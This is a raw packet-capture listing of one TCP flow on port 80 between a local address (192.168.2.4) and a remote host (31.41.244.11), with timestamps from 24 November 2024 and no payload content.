Nov 24, 2024 12:24:15.978349924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.978419065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.978461981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.979223967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.979264975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.979343891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.979388952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.980170012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.980228901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.980298996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.980345011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.981065035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.981102943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.981164932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.981204987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.981997013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.982038975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.982100964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.982144117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.982892036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.982935905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.982954979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.982995987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.983813047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.983854055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.983918905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.983959913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.984720945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.984764099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.984885931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.984929085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.985665083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.985706091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.985776901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.985816002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.986565113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.986607075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.986633062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.986675978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.987468958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.987509012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.987571955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.987612009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.988404036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.988450050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.988502026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.988542080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.989315033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.989356995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.989484072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.989531040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.990360022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.990400076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.990422964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.990432978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.991204023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.991281033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.991409063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.991451979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.992084026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.992125988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.992199898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.992239952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.992978096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.993035078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.993084908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.993127108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.993911028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.993952036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.994025946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.994071960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.994798899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.994843006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.994905949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.994947910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.995716095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.995759964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.995826006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.995871067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.996637106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.996680021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.996747017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.996788979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.997524023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.997566938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.150749922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.150832891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.150876045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.151042938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.151165962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.151278019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.151349068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.152115107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.152165890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.152184010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.152239084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.153045893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.153093100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.153117895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.153160095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.153913975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.153976917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.154016972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.154059887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.154872894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.154910088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.154928923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.154973984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.155771017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.155814886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.155868053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.155910969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.156672955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.156739950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.156768084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.156856060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.157613993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.157660961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.157768011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.157812119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.158509016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.158560038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.158638954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.158683062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.159409046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.159452915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.159523964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.159567118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.160465002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.160510063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.160564899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.160607100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.161268950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.161313057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.161355972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.161400080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.162192106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.162234068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.162305117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.162344933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.163084984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.163130999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.163202047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.163245916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.164017916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.164060116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.164128065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.164170980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.164926052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.164963961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.165024996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.165067911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.165846109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.165891886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.165941954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.165986061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.166749954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.166816950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.166862011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.166906118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.167705059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.167747974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.167817116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.167862892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.168592930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.168631077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.168648958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.168692112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.169477940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.169526100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.169620037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.169663906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.170420885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.170471907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.170527935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.170572042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.171351910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.171396017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.171458960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.171500921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.172291040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.172333956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.172420025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.172466993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.173207045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.173249960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.173329115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.173372030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.174104929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.174149990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.174262047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.174304008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.175024033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.175067902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.175148010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.175193071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.176012039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.176055908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.176100969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.176143885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.176810980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.176875114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.176913023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.176956892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.177778959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.177820921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.177918911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.177963018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.178647995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.178695917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.178751945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.178793907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.179578066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.179622889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.179677010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.179721117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.180495977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.180541992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.180668116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.180712938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.181400061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.181446075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.181504965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.181543112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.182349920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.182398081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.182447910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.182492971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.183270931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.183317900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.183343887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.183387995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.184151888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.184195995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.184258938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.184303999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.185067892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.185107946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.185123920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.185168028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.185986996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.186031103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.186088085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.186131001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.186892033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.186956882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.187012911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.187057972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.187805891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.187850952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.187920094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.187964916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.188734055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.188776970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.188827038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.188869953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.189656973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.189699888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.189810991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.189857006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.190553904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.190603018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.190660000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.190702915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.191587925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.191626072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.191684008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.191728115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.192394972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.192471981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.192497015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.192539930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.193290949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.193336964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.193409920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.193455935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.194220066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.194266081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.194317102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.194360971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.195136070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.195182085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.195240021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.195282936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.196063042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.196106911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.196168900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.196212053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.197010040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.197058916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.197076082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.197117090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.197886944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.197946072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.197992086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.198033094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.198774099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.198823929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.351983070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.352071047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.352149963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.352195978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.352341890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.352392912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.352535009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.352577925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.352597952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.352639914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.353566885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.353612900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.353725910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.353775024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.354357958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.354403019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.354468107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.354510069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.355278969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.355331898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.355385065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.355427980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.356245995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.356303930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.356328011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.356369972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.357214928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.357273102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.357292891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.357338905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.358046055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.358093977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.358148098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.358182907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.358949900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.358999968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.359055042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.359097958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.359868050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.359910011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.359975100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.360018015 CET	49765	80	192.168.2.4	31.41.244.11
